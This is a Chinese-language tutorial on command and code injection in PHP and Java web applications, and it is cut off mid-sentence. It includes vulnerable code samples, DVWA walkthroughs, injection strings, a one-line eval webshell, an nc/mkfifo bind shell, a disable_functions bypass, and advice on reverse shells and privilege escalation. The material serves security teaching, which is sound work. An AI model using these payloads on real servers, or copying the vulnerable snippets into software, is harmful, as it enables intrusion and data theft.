命令执行和代码执行漏洞解析
###命令执行定义
直接调用操作系统命令:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
###命令执行与代码执行的判断与区别
参考OWASP的 代码注入和命令注入,其中的相关解释:可以用下面一句话判断是代码执行还是命令执行:执行效果是否受制于语言本身与其安全机制。
代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞。代码执行漏洞是调用系统命令的漏洞,命令执行漏洞是直接调用系统命令,又称为os命令执行漏洞。
这里先给大家看一下两种漏洞的区别,命令执行长这样:
代码执行长这样:
1.代码执行
1. 执行的效果完全受限于语言本身,只能执行当前语言的相关语法,不能达到执行系统命令的程度
2. 执行的效果不完全受限于语言本身
可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行
2.命令执行
1. 执行的效果不受限于语言语法本身,不受命令本身限制,不能执行当前语言的相关语法,仅能达到间接执行系统命令;
2.可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。
###命令执行漏洞描述
命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。
用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
###命令执行漏洞原理
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。在某些应用时,有些会需要调用一些执行系统命令的函数,比如PHP中可以调用外部程序的常见函数:system() , exec() , shell_exec() , passthru() , popen() , proc_popen() 等函数...如果用户可以控制这些函数的参数,那么把参数替换成自己的恶意命令可以操作系统一些命令,这就是命令执行。
这里我用 shell_exec 这个函数来演示。
参数是 a ,并传参给 $cmd 这个变量,然后用 shell_exec 这个函数来执行,并让 echo 输出到页面上来,就是显示到网页当中。把CMD命令里的 whoami 这个查询当前用户的命令,传参给 a ,然后 a 赋值给变量 $cmd ,然后 shell_exec这个函数,就执行了执行了命令。
###导致命令执行漏洞的原因
脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去WEB的特殊功能时,就需要调用一些外部程序. 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
在PHP中可以调用外部程序的常见函数:system、exec、shell_exec、passthru、popen、proc_popen。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
1.代码层过滤不严格
一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过 system函数来调用:system("/bin/program --arg $arg");
2.系统的漏洞造成命令执行
bash破壳漏洞(CVE-2014-6271),如果我们控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码。
3.调用第三方组件存在代码执行漏洞
很典型的就是WordPress中,可以选择使用 ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。另外JAVA中的命令执行漏洞(struts2/Elasticsearch Groovy等)很常见。
典型的漏洞代码:
<?php
system($GET_[cmd]);
?>
http://127.0.0.1:8080/?cmd=id
http://192.168.188.66/index.php?cmd=||ping -i 30 127.0.0.1
http://192.168.188.66/index.php?cmd=||ping -n 30 127.0.0.1 &
如果应用程序过滤掉某些命令分隔符,为加大检测到命令注人漏洞的可能性,还应该轮流向每一个目标参数提交下面的每个测试字符串,并监控应用程序进行响应的时间。
http://192.168.188.66/index.php?cmd=I ping -i 30 127.0.0.1 I
http://192.168.188.66/index.php?cmd=I ping -n 30 127.0.0.1 I
http://192.168.188.66/index.php?cmd=& ping -i 30 127.0.0.1 &
http://192.168.188.66/index.php?cmd=& ping -n 30 127.0.0.1 &
http://192.168.188.66/index.php?cmd=;ping 127.0.0.1 ;
http://192.168.188.66/index.php?cmd=%0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 '
如果发生时间延迟,说明应用程序可能易于受到命令注人攻击。重复几次测试过程, 确定延迟不是由于网络延时或其他异常造成的。可以尝试更改-n或-i参数的值,并确定经历的时间延迟是否会随着提交的值发生对应的变化。使用所发现的任何一个可成功实施攻击的注人字符串,尝试注人另一个更有用的命令 (如Is或dir),确定是否能够将命令结果返回到浏览器上。
如果不能直接获得命令执行结果,还可以采用其他方法如下:
可以尝试打开一条通向自己计算机的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat建立一个通向自己计算机的反向shell,并使用mail命令通过SMTP 发送命令结果。
可以将命令结果重定向到Web根目录下的一个文件,然后使用浏览器直接获取结果。例如:dir > c:\inetpub\wwwroot\foo.txt,一旦找到注人命令的方法并能够获得命令执行结果,就应当城定自己的权限(通过使 用whoami或类似命令,或者尝试向一个受保护的目录写人一个无害的文件)。然后就可以设 法提升自己的权限,进而秘密访问应用程序中的敏感数据,或者通过被攻破的服务器攻击其他主机。
###命令执行利用条件
1.代码中存在调用执行系统命令的函数
2.函数中存在我们可控的点并将用户输入作为系统命令的参数拼接到了命令行中
3. 没有对用户输入进行过滤或过滤不严
###命令执行和代码执行模型
1.PHP命令执行与代码执行
PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()。
命令执行:system(),shell_exec(),exec(),passthru(),在使用php.exe传递参数时,如果命令中有空格,就用“”(双引号),linux中用单引号,如:
php.exe cmd.php "|net user"
代码执行cmd.php中:<?php eval($_REQUEST['code'])?>
提交的数据::http://url/cmd.php?code=phpinfo();
动态函数调用
<?php
function A(){return ...;}
function B(){return ...;}
$fun = $_request['fun'];
echo $fun();//动态调用函数
?>
如果输入数据:http://url/function.php?fun=phpinfo就会执行phpinfo()函数。PHP函数代码执行漏洞:preg_replace(),ob_start(),array_map()
(1)system函数
执行shell命令也就是向dos发送一条指令。system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型为:
string system(string command,int &return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态
示例代码如下:
<?php
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("net user".$dir);
echo "</pre>";
}
?>
执行结果为:
上述代码就是把dir这个命令写死了,把net user执行的结果给$dir变量。但是注意一些连接符,管道符如:&,&&,|,||,:等,如果我们输入?dir=| netstat -an
注:|只执行后面的命令,||前后命令都执行。
(2)exec函数
执行外部程序,exec函数可以用来执行一个外部的应用程序,函数原型为:
string exec(string command,array &output,int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var是存放执行命令后的状态值。
示例代码:
<?php
$cmd = $_GET["cmd"];
$output = array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list($key,$value)=each($output))
{
echo $value."<br>";
}
?>
执行结果为:
(3)passthru函数
执行外部程序并且显示原始输出,可以看出PHP可以执行系统命令,通过|、&、||起到命令连接的作用,通过输入时的合理构造可以使想要执行的命令和原本命令连接执行。passthru函数可以用来执行一个unix系统命令并显示原始的输出,当unix系统令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system和exec函数。原型为:
void passthru(string command,int &teturn_var)
其中command是要执行的命令,return_var存放执行命令后的状态值。
示例代码如下:
<?php
$cmd = $_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>
(4)shell_exec函数
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回,函数原型为:
string shell_exec(string command)
其中command是要执行的命令。
<?php
$cmd = $_GET["cmd"];
echo "<pre>";
shell_exec($cmd);
echo "</pre>";
?>
(5)`运算符:与shell_exec功能相同,通常用于绕过黑名单
示例代码如下:
<?php
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>
执行结果为:
(6)代码执行
eval()函数可以把字符串当作PHP代码来执行,也就是可以动态的执行PHP代码,使用这个函数时要保证输入的字符串必须屎合法的PHP代码,且必须以分号结尾。动态函数调用&PHP代码执行漏洞。出来可以利用函数命令注入攻击方式外还可以使用eval注入攻击方式,eval函数会将参数字符串作为php程序代码来执行,用户可以将php代码保存成字符串的形式,然后传递给eval函数执行。原型为:
mixed eval(string code_str)
其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。
示例代码:
<?php
$cmd = $_GET["cmd"];
echo "<pre>";
eval($cmd);
echo "</pre>";
?>
如果传入的内容为phpinfo();,若传入的是一句话木马<?php eval($_POST[cmd]);?>就可以直接拿shell。
示例结果为:
2.Java命令执行
在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。像JSP,Servlet,Struts,Spring,Hibernate等技术一般执行外部程序都会调用此用法。开发人员没有正确使用Runtime类,就有可能造成Java命令执行漏洞。
代码如下:
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("net user");
p = Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
###常用命令执行函数
php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()另外,反单引号(`)也可以执行命令,不过要调用shell_exec()函数.
1.system(),exec(),shell_exec()和passthru()函数是可以直接传入命令并且会返回执行结果。如:payload: <?php system('whoami');?> //返回当前web服务器用户
2.pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用,如:
void pcntl_exec(string $path, [,array $args [, array $envs]])
3.popen()和proc_open()函数不会直接返回执行结果,而是返回一个文件指针。如:payload: <?php popen('whoami >>D:/2.txt','r'); ?> //两个参数,第二个参数是指针文件的连接模式,有r和w模式
4.反单引号(`)执行命令需要调用shell_exec()函数。
如:payload: <?php echo `whoami`;?> //返回当前用户
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数;
system() 输出并返回最后一行shell结果;
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。;
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上;
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针
<?php
#system('net user');
#passthru ('dir');
#echo exec('whoami');
#echo shell_exec('whoami');
#echo `whoami`;
?>
1.shell_exec()
string shell_exec ( string $cmd ) 执行命令,并将结果作为字符串返回。
返回值:如果执行失败,则返回NULL。执行成功则返回执行结果字符串。
注意:This function is disabled when PHP is running in safe mode
2.passthru()
void passthru ( string $command [, int &$return_var ] )
没有返回值,函数直接将执行结果返回给浏览器。函数第二个参数就是执行状态码:返回0表示成功,返回1表示失败。
3.exec()
string exec(string command, string [array], int [return_var]);
command – 需要执行的命令
array – 是输出值填充的数组(每一行作为数组的一项)
return_var –是返回值0或1,如果返回0则执行成功,返回1则执行失败。
执行不成功时的方案:一个技巧就是使用管道命令, 使用 2>&1, 命令就会输出shell执行时的错误到$output变量, 输出该变量即可分析。
如:exec(‘convert a.jpg b.jpg’, $output, $return_val);改为:exec(‘convert a.jpg b.jpg 2>&1′, $output, $return_val); print_r($output);
4.system()
string system ( string $command [, int &$return_var ] )
return_var :命令执行状态码。返回0表示成功,返回1表示失败。
返回值:返回执行结果的最后一行,如果失败返回FALSE.
5.函数的区别
1、shell_exec() 只返回,不输出。
2、passthru() 只输出,不返回。 有状态码
3、exec() 返回最后一行结果,所有结果可以保存到一个返回的数组里面。有状态码。
4、system() 输出返回最后一行结果。 有状态码
6.函数代码示例
(1)shell_exec()
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
(2)passthru()
<?php
passthru ('echo $PATH');
?>
(3)exec()
$cmd = exec(
‘ping ‘ . $target ,$result,$code);
$html .= ‘<pre>’.$cmd.'</pre>';
if ($code)
{
$html .=’shibai';
}
else
{
$html .=’chenggong';
}
(4)system()
<?php
echo '<pre>';// Outputs all the result of shellcommand “ls”, and returns
// the last output line into $last_line. Stores the return value
// of the shell command in $retval.
$last_line = system(‘ls’, $retval);// Printing additional info
echo ‘
</pre>
<hr />Last line of the output: ‘ . $last_line . ‘
<hr />Return value: ‘ . $retval;
?>
7.防止命令执行漏洞函数
存在命令执行漏洞的原因是,未对输入命令进行过滤,导致可以shell命令的组合运行(即同时运行多个shell命令)。
shell命令的组合运行主要有一下几种(Linux下,windows下可能不适用):管道操作、重定向、逻辑分隔。
(1)管道操作
将一端的命令输出交给另一端的命令处理。格式: 命令1 | 命令2
如:ps aux | grep httpd
(2)重定向
改变执行命令时的默认输入输出
类型操作符用途
重定向输入 < 从指定文件读取数据而不是从键盘读取
重定向输出 > 或>> 将输出结果覆盖、追加到指定文件(>覆盖、>>追加)
重定向标准错误输出 2>或 2>> 将错误信息覆盖或追加到指定文件
重定向混合输出 &> 或 &>> 将标准输出和错误信息覆盖或追加到指定文件
(3)逻辑分割
处理多条命令之间的逻辑关系
逻辑与 && 两条命令都要执行
逻辑或 || 若第一条命令执行成功,则不执行第二条命令(即只要有一条命令成功就不再继续执行命令)
顺序执行 ; 执行完第一条命令后执行第二条命令
###命令执行漏洞分类
1.代码层过滤不严格
一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用:
system(“/bin/program --arg $arg”);
2.系统漏洞造成命令注入
系统自身的漏洞-->bash破壳漏洞(CVE-2014-6271),如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码
3.调用第三方组件存在代码执行漏洞
很典型的就是WordPress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外JAVA中的命令执行漏洞(struts2/Elasticsearch等)以及ThinkPHP命令执行很常见。
常见的框架漏洞:
(1)struts2框架
Struts是一个优秀的MVC框架,被称为Java的三大框架之一,但Sruts的第二个版本却爆发了多次致命的命令执行漏洞。
Struts历史RCE漏洞回顾
Struts2漏洞POC汇总
针对action时,调用底层的java Bean的getter/setter方法处理http参数,将每个http参数声明为一个ongl语句。
?user.address.city=bj&user['name']=admin--------转化为:
obj.getUser().getAdress().setCity="bj";
执行语句:java.lang.Runtime.getRuntime().exec("net
user");
也有:java.lang.processBuilder('command','goes','here').start()//进行创建进程进行执行命令
(2) ThinkPHP框架
导致代码执行的原因有两个,一是preg_replace使用了e修饰符,这样$var[\'\\1\']="\\2"; 会被当做php代码执行。而双引号的变量会被解析,导致了代码执行。
###命令执行和代码执行漏洞利用
典型代码如下:
<?php system($_GET['cmd']); ?>
http://127.0.0.1:8080/?cmd=id
1.命令执行示例一
<?php
$arg = $_GET['cmd'];
if ($arg) {
system("$arg");
}
?>
2.命令执行示例二
<?php
$arg = $_GET['cmd'];
if ($arg) {
system("ping -c 3 $arg");
}
?>
3.命令执行示例三
<?php
$arg = $_GET['cmd'];
if ($arg) {
system("ls -al "$arg"");
}
注:若引号被转义,则可以用<b>\`id\`</b>来执行
示例四:
<?php
$arg = $_GET['cmd'];
if ($arg) {
system("ls -al '$arg'");
}
4.代码执行示例
在cmd.php中的代码如下:
<?php
eval($_REQUEST['code']);
?>
提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo()
动态函数调用
在cmd.php中的代码如下:
<?php
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par);
?>
提交http://localhost/cmd.php?fun=system&par=net user,
最终执行的是system("net user")
5.以代码层为例
1.sysem($data):
可控点直接是待执行的程序,我们如果能直接控制它,就能执行任意命令。
2.sysem("/bin/prog $data"):
可控点是传入程序的整个参数,我们可以直接利用&&或|等等,利用管道命令来执行其它命令。如果$data被escapeshellcmd(除去字符串中的特殊符号)函数处理了,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如Linux下的sendmail命令自带读写文件的功能,我们可以用来写webshell。
测试直接输入;ls
3.sysem("/bin/prog -p $data"):
可控点是传入程序的某个参数值,同样可以使用前者的方法进行绕过。
4.system("/bin/prog --p=\"$arg\""); 可控点是传入程序的某个参数的值(有双引号包裹)因为有引号包裹,首先要分析引号是否被转义,如果没有被转义,先闭合引号,然后利用方法同上,如果被转义,双引号内的变量依然会被解析,利用反引号执行任意命令`id`
测试可以输入';ls;'
5.system("/bin/prog --p='$arg'"); 可控点是传入程序的某个参数的值(有单引号包裹)单引号内只是一个字符串,所以只能闭合单引号,才可利用。
测试可以输入:可以输入";ls;"
6.sysem("/bin/prog -p \"$data\" "):
可控点是传入程序的某个参数值并用双引号包裹。分两种情况绕过:
①引号未转义,我们可以先闭合引号再用管道命令进行绕过。
②引号被使用addslashes函数转义,这种情况下我们可以在双引号内利用反引号(键盘上的波浪线按键)执行任意命令。
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的
在Windows上,不能用;可以用&、&&、|、||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
###命令执行漏洞的测试方法
最可靠的方法使用时间延迟推断,类似与盲注的方法。
1.在URL上cmd=xxxxxx后拼接||ping -i 30 127.0.0.1 (&)应用程序I ping -i 30 127.0.0.1 I
可能过滤掉某些命令分隔符 可以换做下面的命令:
I ping -n 30 127.0.0.1 I
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;ping 127.0.0.1 ;
%0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 '
注意windows和linux的语法不同:
windows支持:&&,&,||(哪条名令为真执行那条)
linux支持:&&,&,||(执行为真) | (执行后面的语句)
2.发生延迟,说明程序可能易于受到命令注入的攻击,对尝试几次,确定不是因为网络延迟造成的,更改-i -n 数值,确定时间延迟是否随着提交的值发生变化。
3.使用发现的所有可成功实施注入的字符串,尝试注入dir、ls
4不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果给自己的计算机。
5.查看自己的权限,可以提升自己权限,访问敏感数据或控制服务器。
可以利用nc来监听4444端口,再进行管道的重定向:
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
在Kali Linux中直接nc连接上该服务器:
###PHP webshell命令执行防御及绕过方法
1.PHP禁止webshell执行命令防御
PHP的配置文件php.ini里面有个disable_functions
=
配置这个,禁止某些php函数,便可以禁止php的命令执行漏洞,例如:
disable_functions=system,passthru,shell_exec,exec,popen
2.PHP webshell命令执行绕过方法
(1)黑名单绕过
php能够执行系统命令的函数有:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号)
根据黑名单中没有的函数,即可绕过。
(2)系统组件绕过
只适用于windows,代码如下:
<?php
$command = $_POST[a];
$wsh = new COM('WScript.shell'); //生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command);//调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
如何防御:直接删除system32下的wshom.ocx文件
(3)拓展库绕过
3.PHP create_function()注入命令执行漏洞
在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
###命令执行漏洞实列
1.demo漏洞实列一
<?php
$log_string =$_GET[‘log’];
system("echo \"".date("Y-m-d H:i:s ")." ".$log_string."\" >> /logs/".$pre."/".$pre.".".date("Y-m-d").".log");}
?>
恶意用户只需要构造xxx.php?log='id'形式的URL,即可通过浏览器在远程服务器上执行任意系统命令
2.demo漏洞实例二
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
?>
提交 http://127.0.0.1/cmd.php?ip=|net user
提交以后,命令变成了 shell_exec('ping '.|net user)
3.dvwa漏洞实列三
在系统终端中,要想输入多条命令,可以在一条命令结束之后用分号(;)来隔开进而进行下一条命令的执行。另外也可以通过&&来替换分号,前提是前面的命令正确执行之后才能接着执行后面的命令。命令执行漏洞也正因此而产生。
先看low级:
按照提示输入正确IP地址时,返回正确的ping命令信息,若输入非IP地址,返回错误。
然后输入正确的IP地址并且连接命令看看(这里安全级别设置为low)
提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,输入以下语句结果发现是存在命令执行漏洞的:
此时将分号换成&&也是可以的:
如果直接不输给ping IP地址而是直接一个分号后面接其他命令也是OK的,因为在系统终端这些命令都是能正常执行的:
但是如果在ping命令后使用&&号但没有给ping命令输入IP地址时,这时候将不会返回任何值,因为&&号后面命令是建立在前面命令已经正确执行的前提之下的,但是此时ping命令并没有正确执行了。
Low级别:输入的ip值不经任何处理,直接作为参数传入,造成的结果就是使用命令连接字符可以输入任意命令来执行
low级别的源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Medium级别:
相当于加了一个黑名单,将输入ip值中的 &&和 ; 变成空,然后作为参数输入,可以有效过滤&&连接字符,但是对于黑名单之外的例如 || 字符没有过滤,依然可以构造命令注入。|| 使用就是当前边的命令执行失败后执行后边的命令。
Medium级别的源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
两个命令之间用&号表明这两条命令会同时执行,顺序先后不一定。测试结果如下:
可以看出命令显示的时候是嵌套显示的,也就是说几个命令在同时执行。另外一点注意的是,&号与&&号不同,因为是同时执行,所以并不存在前面的命令必须执行了后面的命令才能执行的问题。例子中不输入IP地址也能执行后面的命令:
管道符能正常执行,但管道符的限制是只显示后面那条命令的执行结果:
另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反:
当然,因为该过滤机制只是过滤了分号或&&字符,因此也可以使用&;&的嵌套组合来进行绕过:
High级别:
对获取的ip值,先去下划线处理,然后根据’.’来分成数组,判断是否分成四份且每一份是数字的,然后还原回去,对ip值进行ping操作,否则判定输入ip值为非法ip格式。经过这样的处理,输入的只能是ip格式的参数,确保了执行输入参数的安全性。
High级别源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
4.海洋cms漏洞实列四
命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数
,
搜索一下这个页面有eval函数的地方
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if(strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if
($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);}
else{$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;}
else{\$ifFlag=false;}");
if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}
可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令:
http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])
5.其他漏洞实列
(1)Python反序列化漏洞
有如下一段关于python pickle反序列化操作的示例代码:
import os
import pickle
class A(object):
def __reduce__(self):
# return os.system, ('print 1;', )
return os.system, ('echo 1 > 1.txt', )
p = pickle.dumps(A())
# print p
pickle.loads(p)
如果你执行的上面那段代码的话,就会在当前目录下创建一个写着"1"的"1.txt"文件。这执行的其实是系统命令
echo 1 > 1.txt
如果填入python相关语法,比如
print 1;
它是不会当作python代码被执行而输出"1"的,是被当作系统命令执行。
这种情况下Python反序列化漏洞 执行的效果不受语言本身和安全机制限制,仅受限于你执行的什么命令,属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令)
(2)PHPMailer漏洞
这个漏洞执行的是攻击者的PHP代码段,本来也可以利用php相关函数,比如exec() 、system() 来执行一些系统命令,可以称为命令执行漏洞的。
但是如果用来执行系统命令的php函数都加进了php.ini 的 disable_functions中,其实这个漏洞就不能执行系统命令了,受限于语言的安全特性本身。所以它是代码执行漏洞 (不完全受限于语言本身).
(3)php-fpm fastcgi 9000端口未授权漏洞
这个漏洞看第一个链接就清楚了,在知道目标网站一个php文件的绝对路径的情况下,是可以执行代码并间接执行命令的.
phith0n 写的工具 fpm.py,对上面同一个目标,执行php代码并可以间接系统命令。
根据fastcgi漏洞的利用工具的说明,PHP-FPM >= 5.3.3 才能执行系统命令。
--------------------------------
PHP Fastcgi Remote Code Execute Exploit.
Date: 2012-09-15
Author: wofeiwo@80sec.com
Note: Only for research purpose
--------------------------------
Usage: fcgi_exp.exe <cmd>
<ip> <port> <file> [comma d]
cmd: phpinfo, system, read
the SYSTEM cmd only affects
PHP-FPM >= 5.3.3
ip: Target ip to exploit with.
port: Target port running
php-fpm.
file: File to read or execute.
command: Command to execute by
system. Must use with cmd 'system'.
Example: fcgi_exp.exe system 127.0.0.1 9000 /var/www/ tml/index.php
"whoami"
fcgi_exp.exe phpinfo 127.0.0.1
9000 /var/www html/index.php > phpinfo.html
fcgi_exp.exe read 127.0.0.1 9000
/etc/issue
也许你会认为,php都受制于php的安全机制,这个也应当是代码执行漏洞。
但依照我的想法这个漏洞其实应属于命令执行漏洞。这也是比较好玩的地方。根据第一篇文章可以知道:
通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
也就是说,这个漏洞可以改写php.ini的安全设置,绕过限制,达到远程命令执行,而不仅仅是代码执行并受制于php,所以应归为命令执行(可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身)
(4)Struts相关漏洞
S2-029 Struts2 标签远程代码执行分析(含POC)
通过上面文章就会发现 Struts2 的漏洞其实是通过 ognl 表达式,间接执行了系统命令,应属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令)
###命令执行挖掘漏洞
注:下文的提到的漏洞均已获授权进行测试,并交由厂商修复。
这些年挖漏洞的白帽子们都躲不开一个词“序列化”,何为序列化?
以下是来自wiki的描述(https://en.wikipedia.org/wiki/Serialization)
看English好像难为小伙伴们了,这里直接给大家两个资源吧,小伙伴们去实验一遍就知道了~~
Java反序列化漏洞产生的原因在于:
java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:HTTP请求中的参数,cookies以及Parameters。RMI协议,被广泛使用的RMI协议完全基于序列化。JMX 同样用于处理序列化对象。自定义协议 用来接收与发送原始的java对象。在序列化过程中会使用ObjectOutputStream类的writeObject()方法,在接收数据后一般又会采用ObjectInputStream类的readObject()方法进行反序列化读取数据
合天网安实验室Java反序列化漏洞实验主页:
http://www.hetianlab.com/expc.do?ce=58830dcd-d0e1-4ff2-baaf-ac396b687b79
PHP反序列化漏洞产生的原因在于:
